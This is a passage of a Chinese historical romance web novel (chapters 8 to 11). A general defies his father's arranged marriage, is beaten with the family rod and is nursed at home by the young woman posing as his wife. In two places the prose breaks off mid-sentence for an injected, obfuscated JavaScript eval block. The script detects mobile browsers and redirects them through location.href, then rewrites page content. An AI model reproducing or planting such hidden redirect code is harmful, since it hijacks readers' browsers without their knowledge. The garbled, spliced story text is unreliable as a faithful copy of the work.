别看长夏身形消瘦,力气却一点不输儿郎。不若府中那么多活计,怎么都是她一人做得? 赵留行睡梦中凭白被人打了一拳,自然得醒来瞧瞧。他茫茫然睁眼看着床边不是柳善因,而是握拳的长夏,顿时怫然作色,他骂长夏,“你疯了?” 长夏顾不得解释,直言道:“将军您可算醒了,您快出去看看吧,那边来人了——” 赵留行开口时半梦半醒,“那边?他们来做什么?” “听说,听说是阿郎叫您回家去。”长夏焦急地左顾右盼,赵留行闻言并未将这事放在心上,他随即大手一挥,翻身给背了过去,“叫我回家?不去!” 主家的态度可把长夏急得够呛,“可,可您若忤逆阿郎,我怕他们对夫人不利。” 此话一出,刚才还满不在乎的赵留行,一听事关柳善因,似从梦中惊醒般猛地翻床而下,没等长夏反应,他便已经披衣上身质问了句:“他们人在哪——” 长夏抬头看得真切,主家分明是要吃人去…… 她便忙说:“在,在前院呢。” 8. 第 8 章 赵留行披衣而行,威风凛凛地踏碎了那曾被柳善因裙摆送走的落红。长夏紧随其后,探头看着主家高大的背影之下满是逼人的霸道气势,瞬间吓得收了目光。 到底是习武出身的儿郎,赵留行的身形已不似洛阳的那些王孙贵胄般清瘦。 坚实的肩头,看上去可担千斤重。 遥想赵留行十一岁离家,在北庭历练了那些年,日日看的都是生与死的杀伐,对于脚下王城里污浊的权与势,早就不屑一顾。 以至于,等他到了前院瞧见几个小厮不分青红皂白押了柳善因,便不管这些人到底是得了护军府,还是长公主的授意,上去就是两招拿下,一点情面也没留。 二三小厮顿时应声倒地,他们根本不是宁远将军的对手,便再不敢贸然上前。 被吓到的不止赵家的小厮,柳善因亦是被赵留行的动作震在原地。 可赵留行瞧见她却立刻变了脸,他就这么当着众人的面,拉着自己的假媳妇前前后后,仔仔细细检查了遍,“他们有没有把你怎么着?可有伤着?孩子呢?孩子在哪?” 柳善因懵着脑袋被赵留行拉过来,又转过去。 她不知眼前人是在演戏给其他人看,还是真的关心自己,但既然是假扮夫妻,她就理应配合着点,“我,我没事。小宝跟乳娘在那边的屋子里,你别担心。” 赵留行演得就跟真的一般,还伴着柳善因的情绪松了口气。 但其实… 他心里偏阿弥陀佛个不停。 他想幸好无事,不若真要出点什么事,如何跟柳徽交代?他的责任当真重大。柳徽一辈子就这么点牵挂,若在自己手里出了问题,怕是后半生都不会再将他放过…… 这边夫妻两个“柔情似水”,“关怀备至”,瞧得对面人匪夷所思。 三郎君暴戾恣睢,不好招惹的恶名,在赵家是人尽皆知的。 老嬷来前便有些心里准备。 但当她望着眼前这无论从个头,相貌,穿着皆不出挑的女郎,真叫她百般错愕。加之亲眼所见赵留行对她亲密的态度,便让老嬷不禁揣摩,这女人确实有些手段。 人心黑,看什么都是黑的。 老嬷在长公主身边呆了几十年,见得尽是那些腌臜事,哪里还会相信纯善二字? 她眯起眼睛,想要警告警告他们,没想到竟被赵留行抢了先。 他在确认好柳善因安然无恙后,毅然将人揽去身后,与一群人对峙,“贸然入府,不问主家就轻易拿人?你们以为这是哪?居然敢这般放肆。” 老嬷抬起头,不似秦氏般惧怕赵家老三。 她挑起眉,不慌不忙地答曰:“这是哪?这不是赵家二姑奶奶在洛阳的私宅吗?里外里都是赵家的家业,我们今朝是奉了赵家家主之命过来传话,三郎君说我们放肆着实言重,老奴可担当不起。” 老嬷的声音重重落下,她这是在拿赵爹的命令施压。 可……赵家二姑奶奶? 是,老嬷说得倒也不错。但一个被赵家扫地出门的逆女,如今只因在北庭建了功立了业,就重新被抛弃她的赵家所提及,所承认,岂不可笑? 赵留行觉得这简直是他这辈子听过最好笑的笑话,若二姑在,定会把这些人一并打包送回护军府去—— 但现实是二姑不在,他哪怕态度再强硬,终究是赵家的晚辈。 况且,他现在不是孤身一人说什么,做什么,都需顾着柳善因和柳家侄子的安危,若是做得过火了怕是引火上身,可要是退让了,大抵又会让对面得寸进尺。还真是难为他个只懂打架的武夫。 赵留行厉声去问:“那边让你来传什么话?” 老嬷昂昂头,俨然做好了要与赵家老三纠缠的准备,“老奴奉阿郎之命,特来告知三郎君即刻归家请罪。若三郎君执意抗命不尊的话,就别怪老奴对那丫头……” “我跟你回去。” 怎料,老嬷千算万算,就是没算到赵留行居然这么干脆就给应了下。 她咂咂嘴,转头等着复命去。 - 临行前,赵留行特意换了身深色的袍子。 他迈过府门一脸从容,瞧着压根不像去请罪的。柳善因就紧紧追在他的身后,脚步匆忙。可很快,她便被簇拥在赵留行身边的人群所淹没。 柳善因站在人群之后,遥遥望着赵家三郎的背影,何敢当着这么多人的面高声言语? 满眼的忧憧,也只能一人消化。 赵留行却在登车前回眸找到了她,他无视众人朝她走去,柳善因赶忙怯怯唤了声:“赵赵将军……” 赵留行闻言只说:“小柳,回家去。” 柳善因恍然抬头,天光模糊了赵留行的脸,她听他附言:“回去把门锁好,我没归家之前,任是谁来都不准开。免得叫那些狼心狗肺的东西再闯进来。” 小柳…回家去…… 熟悉的话语,不熟悉的语调。 这话从赵留行口中说出那刻,好似把柳善因推回了许多年前自己被同村孩子丢进草垛那天,那是柳善因唯一一次反抗,也是她唯一一次没有哭着跑回家去。 她本以为回家后阿兄会责备她。 可当那些孩子的爹娘追上门讨要说法后,阿兄却只对她说了句:“小柳,回家去。” 柳善因愣了神。 赵留行不明所以地抬头望,他问小柳:“我说的话,你可记住?” 柳善因闻声回神,赶忙应道:“记住了。” 赵留行点了头,自觉没什么再去交代转身要走。哪知竟被人拉住衣角,赵留行茫然回首,但见柳善因两眼忡忡地与他说:“赵赵将军,我等你回来。” 赵留行盯着柳善因清澈的眼睛,着实是她的演技惊讶,他不禁心道柳家妹妹装得也真是像样,便也不甘落后的配合应道:“好,等我回来……” - 护军府世代簪缨,饶是门头便高丈四尺。其上画栋雕梁,丹楹刻桷,就宛若置于天外。 外头人瞧着赵家高门大户,好不气派。 门内人却心知肚明,下不来台。他们赵家兴盛百年,到了赵无征这代已逐渐凋敝四散,族中庸才众多,不堪大用。勉强靠着皇亲之名才得以撑起门楣。 后好不容易出了赵留行姑侄这般,镇守北庭的功臣,却因陈年旧怨,被人家划出界外。 赵无征心焦。 可他奈何不了离经叛道的二妹,还奈何不了自己的亲生儿子? 他觉得他是老子,他说什么做什么,赵留行都得受着——于是乎,延续呈王府与赵家姻亲关系的这档子事,就不由分说地砸到了赵留行头上。 赵留行举目望着既陌生又熟悉的家门,眼中看不出丝毫怀念。 甚至发出一声冷笑。 老嬷立在一旁,不知眼前人这么顺当地过来意欲何为,但她知晓准是不怀好意,她便垂眸道:“三郎君去忠勇堂,阿郎和殿下都在。老奴就不跟着了。” 赵留行抬了脚,没去理会这精明的婆子。 - 府中大小百十间屋子,几十个岔路,唯去忠勇堂的路,赵留行记得清晰。 好似打他记事起,日日都是在忠勇堂度过的。 三岁前有亲娘护着,赵无征还有所收敛。三岁后爹娘和离,亲娘改了嫁,亲爹娶了长公主为妻,做了天家的女婿,赵留行就彻底成了府里的受气包。 挑食了要罚,路走快了要罚,除夕宴上叫错长辈还是要罚。 从也没人在乎过他,单是那同样被祖父排挤的二姑,常常拎着东西去看他,教他。 最后还带他逃离了这个家。 “白眼狼,不敬祖宗的混账东西——” 赵留行停在忠勇堂的廊外,漠然听着堂内无休止的谩骂。 彼时,临芳长公主瞌眸坐在赵无征的身边,捻着手里的珠串一言不发。直到赵无征回过头,朝着堂外愤怒地唤了声:“逆子。”她也未曾睁开眼睛。 贺家姑侄俩长得极像,一样的雍容华贵,一样的艳杀四方。 先帝子嗣单薄,尽管贺盈安的娘,是个品阶不高的美人,但作为先帝唯二的女儿。 她在天家还是得到了该有的地位和尊重。 贺盈安深吸了口气,默将珠串掩去打算冷眼旁观。她总是这样,装作一副高高在上,永远事不关己的模样。 赵留行恰时跨门而入。 赵无征一见到儿子,便立刻拿起了作为老子的威严,命令其如孩童时一样跪下。 现在的赵留行哪里还会听话?他定在不远处开口:“你找我来,就是为了让我在你面前跪下?不用讲些有的没的,有话直说。” “你。” 赵无征怒火中烧,愤怒的眼神瞬间化作一道锋利的刃,投去赵留行身上。他从前就讨厌他,讨厌他的叛逆,讨厌他的不服管教,讨厌……他和老二越来越像。 “不知廉耻的东西。”赵无征大骂。 赵留行瞧他还是跟以前一样,没有半分改变,失去了谈下去的耐心。 他转过身,早已习惯了他们之间这样无效的沟通,打算像往常般离去。然赵无征也只有在这种时候,才会愿意把无用的咒骂与说教收下,转而将重点转移回要说的话上。 这也是赵留行对付赵无征的办法。 “难道为父说错了!未娶妻,就先纳妾,竟然还弄出个孩子来——不是不知廉耻是什么?我不管别家如何,但在赵家决不允许有这样的事情发生。逆子,你让我如何面对祖宗!” 赵无征终将实话吐露。 赵留行定在门前半晌无言。重伤他的话,赵无征说过很多遍。 他甚至怀疑过,自己是不是真的很惹人厌。 可当今日听见身后人这么说,他头一遭没有赌气离开,选择避去这些污浊的语言。彼之天光下落,赵留行逆光站着,他用笃定的语气说:“谁说小柳是妾?小柳……” “是妻。” 只是,这些话似乎刺痛的人并非是怒不可遏的赵无征,而是另有其人。 话音落后,那人缓缓睁了眼。 - 贺盈安眼神淡淡,偏始终透着股狠劲让人不寒而栗。 赵留行没去看她,也不曾畏惧。 贺盈安冷哼。她知晓赵留行此番定会忤逆赵无征,却未曾料到眼前人的态度居然会如此强硬,胆子更是大到能为了一个不知名的野丫头与赵家,乃至呈王府作对。到底是她小瞧了他去。 赵无征立在堂下同贺盈安一般的惊讶。 他不敢轻举妄动。 瞧着护军府是他当家,其实府中大小决策,若没有贺盈安的拍板,他是屁都不敢放。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105986|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵无征下意识回头瞧了眼贺盈安。 贺盈安依旧不声不响,却忽而将手中的珠串拍上了桌,其中似乎藏着某种授意,叫赵无征心领神会,他转过头扬言:“赵三郎,你疯了?我再给你最后一次机会,把那丫头给我送走。” 赵留行闻言不禁嗤笑。 他反驳:“我疯?不是所有人都能和你一般,厌了倦了,对自己没有利了,就可以不负责任的舍弃掉。我亦最后告诉你一次,我不会将人送走,我会把她带回北庭。” 赵无征怒火中烧,随即破口骂道:“不孝的东西,你做梦!赵家与呈王府的婚事事在必行,由不得你。跪下——我要你在祖宗面前跪下。” 该来的终究会来。 赵留行就知道会是这种结果,这么多年了,那老家伙教训人的手段一点没见长。 可跪赵无征不行,跪祖宗,他便跪得。 事情总该有个了结,不若他今日就不会来。赵留行瞥了眼赵无征,这大抵也是他最后一次在赵家这样跪拜祖宗了。瞧他撩起衣袍,绕开眼前人,直挺挺地跪在了祖宗面前一脸泰然。 赵无征迅速抄起供在一旁的家法,狠朝他身上送去。他边打,边责备道:“父母之命媒妁之言,自古顺应。违背父母命者,当死不足惜——” 不粗不细的竹条重重落下, 在赵留行的背上开了花,漫延出的血色全被藏在了他深色的衣袍之下。 赵留行却面无表情望向祖宗,心中默念着,直至第八十一次的落下。他忽而抬手握住了即将再次打在身上的家法。赵无征被他的动作吓得一愣。 可等他想重新抽回家法时,又被赵留行夺了去。 赵留行嘶了一声,站起身来。 他不禁暗骂这老儿下手还真是狠毒,打得他居然有些头脑发昏。但战场之上刀剑无眼,受伤是常有的,所以这点小伤于他而言,倒也算不了什么。 赵无征瞪大了眼,他简直不敢置信……老三此去北庭,一别数年,居然学得这般重逆无道。 要知道,护军府从上到下, 还从未有人敢这样公然同长辈抢夺家法。 他赵留行是第一个。 怎料,叫赵无征更为意想不到的还在后头,眼前人居然当着他们的面亲手折断竹条,并扔在了他和贺盈安跟前轻笑道:“老儿,以后少拿这东西打人,这儿又不是大理寺。更别把自己当判官。” 话音落去,赵无征宛若如鲠在喉。 他打了赵留行十几年,从也没料想过能有这么一天。 赵留行摸了摸肩头的伤,装作漫不经心,他在离开前跟赵无征这样说道:“这八十一下,就当是我还你的。从现在起咱俩扯平了,你说我不忠也好,骂我不孝也罢,我都不在乎了。但只要你们敢打他们娘俩半分主意——那下次再见,我不会有像今天这样好的脾气。” 赵留行语毕转身,一步一步挪出了忠勇堂外。 照旧不曾有人上前关心。 赵留行只身立在院中望去辉煌的府宅,忽而叹了口气,他不再听身后人说什么,也不再管他们现下是何等惊诧的表情,一心只想快些回家去。 彼之,赵无征回过神,做了最后一次反击,他道:“好啊,好,赵三郎,我等着。你别妄想这样我就会放过你,那野丫头更不可能做我赵家媳。” 话落廊外无人回应,赵无征气得急火攻心瘫坐在了圈椅之上。 隔岸观火的贺盈安倒在此时发笑。 赵无征回过头,难以置信。他不知道眼前这疯女人是在笑些什么?贺盈安却望着外头早已空荡的门廊说:“这老三真有意思,比府里那些庸人有趣。” 赵无征蹙眉追问:“混小子这个态度,咱们接下来该怎么办?” 贺盈安脸上的笑转瞬即逝,她的心思就跟她这个人一般阴晴不定。她道:“急什么,没有皇帝的准许,老三离不开洛阳,离不开洛阳就有的是机会。咱们还是得从皇帝那想想办法。” 赵无征望着贺盈安欲言又止,贺盈安转眸与之相对。 赵无征无奈回头望了眼祖宗,终拂袖离去。 - 赵留行走时没坐赵家的马车,而是选择忍痛走了回去。 他来到紧闭的府门前用尽力气叩了三口,没想到竟无人应答。再三去叩,里头这才发出一声:“是谁!” 柳善因打门缝往外看,单瞧见一团黑乎乎的东西。 赵留行随即应了声:“是我……” 柳善因一听见赵留行的声音,立刻伸手开门。她自赵留行离开后就这么遵守着承诺一直守在门后,就是长夏叫她回屋等着,她还是执意留在了这里。 然赵留行的力气似乎都用在了回家上,所以在门开的一瞬,他便松懈着向前倒去。 “赵赵将军,你回……” 柳善因这会儿倒是眼疾手快,一把就撑住了赵留行的身体。尽管有些吃力,但她还是用小小的身躯撑起了他。两个人就这样互相靠在了门外。 柳善因摸着赵留行有些湿漉的衣衫,登时大惊,“你受伤了!?” “小柳我,我好……”赵留行靠着柳善因低声言语。 柳善因急得不知所措,“赵赵将军,你很疼是吗?我这就给你找大夫去。你再忍忍——” 赵留行却道:“我好困。” 9. 第 9 章 赵留行醒时小院夕照,黄昏打落的光斑从半开的屋门映在地上。他睁开昏沉的睡眼,察觉肩头冒出一丝凉意,忽而清醒。他趴在铺上侧目望,四动的帐幔正轻轻掠过背脊。 衣裳哪去了? 赵留行惊愕不已,现下他除了穿着裤子,就余了条薄毯搭在身上。 满府上下全是女郎,能是谁对自己“动手”? 是谁动的手也不成啊! 赵留行不敢细想,越细想头皮越发麻。别瞧他这么大个子的少年郎,却对这种事小心得很。他想原先在行伍当着一群男人的面漏漏也就罢了,无伤大雅。可若说当着女郎…… 他实在羞面见人,就算是前胸和后背也不成。 但事已至此,赵留行说什么也晚了,谁叫他困得不知事,只能任由摆弄。他也只求给他脱衣换药的,不是柳善因就好。不然,他真是没脸见人了。 这会子,乳娘抱着刚刚喂完的小郎君打前院走来,她连唤了几声:“夫人。”都无人相应。 赵留行在里屋听见,却没在意。 “赵郎君醒了?” 没成想乳娘试探着进屋,打眼一看赵留行醒了,莞尔给迎了过去。 赵留行茫然看着眼前人怀抱小家伙越靠越近,他刚想起身去问她要作甚,乳娘就顺理成章将孩子搁去了他的身旁,“来,爹爹醒了,咱们找爹爹喽——” “诶,你别……”赵留行没当过爹,自然慌神。 他不知该如何开口告诉乳娘,莫要把孩子搁在自己这儿,便随口问了句:“小柳呢?” 乳娘闻言思忖,“您说夫人?不知,她给您换完药把小郎君给我丢下,就出门送大夫去了。我也不知夫人在哪,您找夫人有事?不若我帮您去找找?” 换药的……居然是柳善因! 乳娘前前后后说了那么多,赵留行到头就听到这么一句。他的脸面登时顺着门缝被风刮走,再寻不回。乳娘瞧主家呆愣的模样,诧异唤道:“赵郎君,赵郎君?” 赵留行木讷地转过头,“没你事了,出去的时候把门带上。” 乳娘觉得眼前人莫名其妙。 可大户人家的主子多少沾些古怪脾气,她也知晓,便垂眉应道:“那我就先回去了。” 乳娘甩手走了。 新结识的“儿子”在床边咿呀叫,赵留行咧嘴看向小家伙,又不能放任着不去管他,只得拎着孩子放在床内,防止他乱动跌落下去,他说:“男人要稳重寡言。你听话,就在这儿呆着等小姑回来。” 赵留行跟听不懂训话的小家伙交代完,转头就自顾自地躺下。 谁料,他一躺下,满脑子又都是—— 府里这么多人,换药的到底怎么能是柳善因呢! - 两个多时辰前,长夏到东街唤了大夫。 大夫匆匆登门没带帮手,等来到屋里瞧见好不容易被众人弄到床上的赵留行,大夫犯了难,“得留个人在屋给我搭把手,帮我把他上头的衣裳脱了。” “全脱吗?”过来帮忙的土酥顺势接茬。 大夫是个臭脾气,他瞥了土酥一眼,“不全脱,难不成要隔着衣裳看吗?老夫没有千里眼,隔衣看不穿!” 土酥咂咂嘴,心骂这个年纪的臭老头怎么都跟他爹一个样! 长夏得了答案,没想太多,打算自告奋勇留下侍奉。谁知道,土酥这没心没肺的家伙,偏抢着望向身边一言不发的柳善因说:“夫人不是在呢吗,给郎君脱衣自然得夫人来啊。咱们不合适。” “啊?我?”柳善因瞪着眼睛站在门边,跟个鸮一样。 土酥点点头,“对,夫人你。” 柳善因刚开始还不敢相信,她个黄花大闺女怎么能给赵赵将军脱衣呢,羞死人了。 她却忘记现在的自己在外人眼里,已是和赵留行育有一子的夫人,那这一子哪来的?还不是不能看的都看了,该做的都做了。脱衣的重任,岂不就是她来最合适吗? 长夏此刻甚是感激土酥心直口快,她适才还真是没想到这层。 柳善因左右看了二人一眼,无奈赶鸭子上架应了声:“好,那就我来吧。” 随后,长夏和土酥关门退去廊外。 柳善因便独自来到床边,垂眸默念了好几遍:“赵赵将军,对不住对不住,我这也是没有办法。我保证,我一定不看不该看的,一定不看不该看的!” 待到准备好了,柳善因把心一横,伸手迅速解开了赵留行的衣带。 布料丝滑散落的瞬间,清晰的线条也落进眼底。 柳善因忽而俯身愣住不动,她居然盯着赵留行点缀着几道旧疤的胸膛入了迷……这还是柳善因生平第一次看男人的身体,她没想到赵留行还挺白净。 柳善因就这么愣着愣着,有人突然从后头拍了她一下,吓得她赶忙立正站好。 柳善因见状不好意思地回过头,却听大夫冲自己无语道:“我说夫人,郎君是你自己家的,又跑不掉,有功夫夜里点灯再瞧。老朽现在要赶快看伤,店里还忙着呢——” “对不住,对不住,我不是故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105987|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的。” 柳善因赶忙致歉,不知究竟说与谁听。大夫摇头几声叹息,却不见身边人脸热得都能烙张饼。 - 柳善因自送别大夫后,就去了厨房亲自煎药。 土酥本说她来煎,但柳善因打屋里出来,说什么也不愿回去守着。俩人便一块在后院窝着。 日入之后,药煎好了,柳善因也就没有什么继续赖在厨房的理由。 她端着药盅别了土酥,径直朝寝屋的方向走去。 这时间乳娘才从屋里离开没多久,院中正是春景烂漫,晚霞耀着桃红。 柳善因垂目慢走,心想一会儿见了赵留行千万别再脸红,被人看出来可不好。谁成想,才堪堪到了桃树下头,寝屋里就传来一声不算明朗的嘶叫,吓得她几步快走。 “怎么了?怎么了?” 柳善因匆匆忙忙推门一瞧,昏暗的房间里,赵留行正举着小侄子坐在床上。 气氛怪异得很,甚至有点剑拔弩张。 可很快,赵留行在察觉柳善因来后,又收起了适才的模样。瞧他顺势将小家伙往床边一放,转头自己气呼呼地背身蜷在了床上。柳善因不明所以,只得赶忙把药搁下,上前抱起了小侄子。 “赵赵将军,发生了什么事了?还是说你哪里不舒服?” 柳善因哄着小的,问大的。好不忙活。 赵留行却依旧背着身一言发。 只见他在柳善因看不见的地方,伸手捂着自己的胸口,似是在遮掩什么。 眼前人不答,柳善因站在原地也不知如何是好。等过了一会儿,赵留行缓过劲来忽然开口说了句:“孩子今天应该是没吃饱,你给抱过去再喂喂。” 柳善因闻言抱起小侄子碎碎念道:“我们小宝今天没吃饱吗?来让我摸摸小肚子。” 没成想,还真是…… 柳善因纳了闷,她不明白赵留行怎么会知晓的这么清楚,简直不可思议。难不成他还会带孩子?但究其原因为何,只有赵留行一人清楚。他摸着胸口的余痛陷入沉默。 柳善因心想还是等照顾完大的,再去送小的,不若药凉了不好。 可待她一手抱着孩子,一手端着药碗刚想上前。赵留行又冷不丁来了一句,让人摸不着头脑的话,“对了,你待会儿去的时候告诉长夏,往后每月给乳娘多加一两银子。” 柳善因茫然望向铺上那个有些怅然的背影,小心试探了句:“好,我知道了。我待会儿就去,但赵赵将军……” “你真的没事吧?” 10. 第 10 章 晚些时候,夜色沉沉。 赵留行似是被小家伙那一下嘬得郁郁,柳善因回来瞧见他躺在床上浑身散发幽怨,吓得也不敢弄出动静,只得蹑手蹑脚地贴边走。 等把睡着的小侄子放上坐榻,她便转头默默整理起地上的铺。 按照昨日说好的,今儿该她睡地上了。 柳善因跪在地上轻轻拍了拍枕头,刚想脱鞋进被,又忽而向屋子那边望了一眼…… 身后窸窸窣窣的声音响个不停,拉回了赵留行惆怅的思绪。 他思量着屋里总不能是闹耗子,便好奇地回了头。没成想正好瞧见柳善因像只急着搬家的鼹鼠般,一点点将地上的铺盖从东边拖往西头。 柳善因发现赵留行在看她,立刻乖乖停在原地。 赵留行顺势披着毯子起了身,他把该遮的地方全部遮住,如同一座大佛盘腿稳坐当中。 他问来人:“你在作甚?” 柳善因看了看手中的铺盖,又看了看他,如是说:“我想把床铺离你近些。” “离我近些?为什么?” 赵留行不明白, 难不成她也怕鬼,怕一个人睡? 柳善因却趁机悄悄来到他跟前,将铺盖放下诚恳道:“我怕赵赵将军晚上需要人照顾,我睡太远听不见,所以就想离得近一点。这样赵赵将军晚上想喝水,亦或是想挠痒,想上茅房都可以叫我。” 赵留行闻声无言。 他抿嘴看着柳善因,心想自己是让人家来假装自己媳妇的,怎么扮着扮着又变成使唤丫头了。 不得行,不得行。 赵留行赶忙动身,却被柳善因拦下,“赵赵将军你别动,你想做什么让我来就好。” “我这都是些小伤,何须麻烦你,我自己能行。今晚就还是我睡地上,你带着孩子回床上睡去。”赵留行原是要和她交换铺位,柳善因婉拒,“不行,咱们昨儿就说好了,就算你没有受伤,今日也该我睡地上。” “不成。” 赵留行心有不安,俯身就要争抢。 好在柳善因急中生智,一个飞扑趴在了铺上。 等赵留行反应过来,眼前人已像一张大饼摊在了眼前,他是前看看后瞧瞧,压根没有能下手的地方,他总不能把人亲手抱去床上,那样和比让柳善因睡在地上还要过分,便只好作罢。 “你赢了,你赢了。” 赵留行无奈登床,又变回了不动如山的佛。 他望着赖在地上的柳善因,忽而垂眸说:“但咱们说好,往后还是叫我睡地上。既然你阿兄相托,那我就有义务照顾你。更何况,你又帮了我这么大一个忙。” 柳善因见事态平息,缓缓从铺上爬起转眸跪坐床边。她抬头望去,于两人的四目相对间沉声说道:“可赵赵将军也收留了我们,还因为我受了伤……” 赵留行愣而无言。 恍惚一瞬,他还真有点心疼眼前这个只比自己小两岁的女郎。 赵留行移开目光,声音缓和下来,“这事是我和他们之间的恩怨,与你没有干系。明明是你在帮我,你不要把什么罪责都揽在自己身上。” 可善良的人总是最先自责,柳善因习惯了这样生活。 但她还是点点头,乖巧地应声说:“我知道了。” 月光伴着晚风的凉吹进轩窗,飘然落去窗台上。柳善因安静跪坐,耳边碎发抚摸过她圆润的脸颊。赵留行不自觉又看向了她,他唤:“小柳。” 柳善因嗯了一声,眸子里的光依旧纯粹无暇。 赵留行这才继而说:“我不知道你以前是怎样,但以后在我这儿就别拘着,也别总是道歉了。轻松自在些,有什么话,直说无妨。你就把我当做你阿兄——” 赵留行语毕一拍脑袋,恨透了自己嘴比脑子快的性子。 怎么让人家假扮过自己媳妇,现在还要当人家阿兄?这般冒昧,真是笨死了。赵留行连忙解释:“小柳,我没别的意思,我只是…哎呀……你千万别恼!我不是故意提……” 没成想,柳善因并未介怀,反倒笑望赵留行道是:“这辈子还是第一次有人跟我说这些话。” “谢谢你,赵赵将军。” 柳善因温柔的道谢声落了地,赵留行却呆愣着不知该如何接茬。只见他这座大佛顺势如山倒,背过身用被子蒙上了他的尴尬,“时辰不早,睡吧。” 柳善因歪过头,不明所以。 可既然眼前人发了话,她便转身抱起小侄子钻进了被窝。只是等柳善因靠着小侄子的脑袋刚有了睡意,就又被赵留行的声音吵醒,“夜里不熄灯吗?” 柳善因迷迷糊糊睁开眼,昏暗的烛火在眼眶里跳动,她说:“夜里小宝需要喂奶,我怕磕到撞到特意留了一盏。赵赵将军若是觉得晃眼,我这就熄了去。” 柳善因说罢抬手掀被,赵留行却阻止了她,“那留着吧。” “好。”柳善因闻言默默将腿收回被窝,跟着蹬了一下,以免有风钻进去。 她想这回总该无事打扰,就安心地把眼合了。 怎料,赵留行在床上转了个身朝向柳善因,瞧着他今日是睡足了,竟折腾起她来,“你何不将孩子放在乳娘那?如此你也不必辛苦来回。你若觉得麻烦乳娘过意不去,我继续加些工钱让你买个安心。” 赵留行没当过爹,自然体会不到,也理解不了为人父母的心酸苦楚。 柳善因闭眼想起那天土酥说过的话,将军出手阔绰就好像有钱没地花,惹得她笑出声来。 “你笑什么?”赵留行掀开床帐出言去问。 柳善因赶忙把圆滚滚的脑袋埋进被窝,小声应道:“没,我没笑什么。” 赵留行纳了闷,柳善因转而把话题岔开,“赵赵将军不用破费。小宝也不知怎的,只要同我一分开就会哭闹,所以就只能这么来回跑着。不过赵赵将军不用担心,我没事的。” 赵留行放下帘帐没说话。 过了半晌,他才开口道:“明日叫长夏把西南边的书房收拾出来,给乳娘住吧。” “合适吗?赵赵将军不用书房的吗?”柳善因觉得有些闷热,把手从被子里拿了出来。赵留行透过床帐往外望,女郎的小脸红扑扑的,“不用,我过了读书的年纪了。” 柳善因点点头,“那好,我记下了。” 赵留行就此陷入沉默。 按说今晚的秉烛夜聊合该在此时收场,可那被赵留行弄得睡意全无的柳善因又突然开了口:“赵赵将军。” 赵留行没吭声, 柳善因偏过头想他应是不能这么快睡着。 “我可以问你一个问题吗?” 床边人发问,赵留行闭眼嗯了一声。 柳善因重新回头望向屋顶,“你为什么不愿和郡主成亲呢?” 她问这些话的时候,没有想太多。 柳善因只单纯的觉得像郡主这样样样出挑的女郎 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柳善因虽然不知赵留行口中说的重要的事是什么,但她在听了他的话后,决定好好帮他演完这出戏。她不止为了自己,亦是为了报答赵留行雪中送炭的恩情。 “赵赵将军,是骁勇无畏的大将军,将军就一定能回到北庭去!”柳善因说得起劲,伸出肉乎乎的拳头在空中比划了两下,叫赵留行看见咧嘴笑了笑。 他没想到这柳家妹妹,平日里看上去文文静静,活泼起来倒也挺活泼的…… 两个人尴尬地对视,纷纷转头不语。 最终,还是柳善因开口打破了僵局:“赵赵将军,若是没事的话,我就先睡了。” 赵留行思量半晌,被帐外的烛火照亮了眼,他回问了她最后一个问题,“小柳,你为什么一直叫我赵赵将军?” 柳善因眼皮在一点点下沉,她歪扭在小侄子身旁昏昏沉沉地应声:“因为…阿兄自小就有口吃的毛病,他常和我提起你。久而久之,你就成了赵赵将军……” 话音落去,柳善因进入梦乡。 赵留行却如梦初醒,难怪难怪!柳徽平日里沉默寡言,一张口总是一声…… 赵,赵将军。 - 次日,柳善因起了个大早,她想着今日赵留行应是要在家休养,为了不打扰他休息,就抱着小侄子去了前院同长夏和乳娘聊天。柳善因约莫赵留行怎么不得睡到下午去? 没想到,巳时一刻人就醒了。 赵留行在寝屋忙忙碌碌穿好衣裳,转头出门寻寻觅觅。 他先是到别屋看了看,发现柳善因不在便一路去了后院,哪知道碰上土酥一大早偷吃羊蹄,给人吓得嗝打不停。他话没问出来,只得悻悻往前院去。 赵留行来到跟前时,三个女人正叽叽喳喳,说天说地。 谁知一瞧见他出现竟纷纷噤声,不言也不语。 他蹙眉迟疑。 柳善因背对着他所以没察觉,长夏赶忙张口道了句:“三郎君。” 柳善因仰起头,瞧见赵留行跟个门神般立在后头,吓得往后栽了栽。赵留行作为她的“夫君”岂能当着旁人的面坐视不理?瞧他抬手一把就将人扶起,叫长夏看去偷笑不已。 柳善因见状不好意思地站了身,“赵赵将军,你怎么起来了?你身上的伤还没好,应该好好休息的。” 赵留行闻言却没理柳善因,他只抬眸望去其余两人,沉声问了句:“洛阳最好的成衣铺在哪?” 11. 第 11 章 长夏是个机灵的。 她一听便知赵留行此话何意,赶忙道出了洛阳城东仁和坊的韵景衣铺。那家在洛阳有名的很,长夏虽没去过,但在护军府时总听那的人说。 赵留行得到答案,转头叫了柳善因,“走了小柳。” 柳善因啊了一声,还傻傻的不知赵留行此番何意。 长夏很快搭了腔,“三郎君体贴。夫人今日就跟着郎君一块到城里逛逛,多选几身漂亮衣裳,家中的事无需二位挂心。二位出门需要备车吗?需要的话,我现在就去赁辆马车来。” 长夏挪挪步子,预备着主家开口,自己好抬腿就往门外冲。 谁成想,赵留行说:“不必。” 柳善因也跟着附和。 惹得长夏几度欲言又止,最后只得作罢。 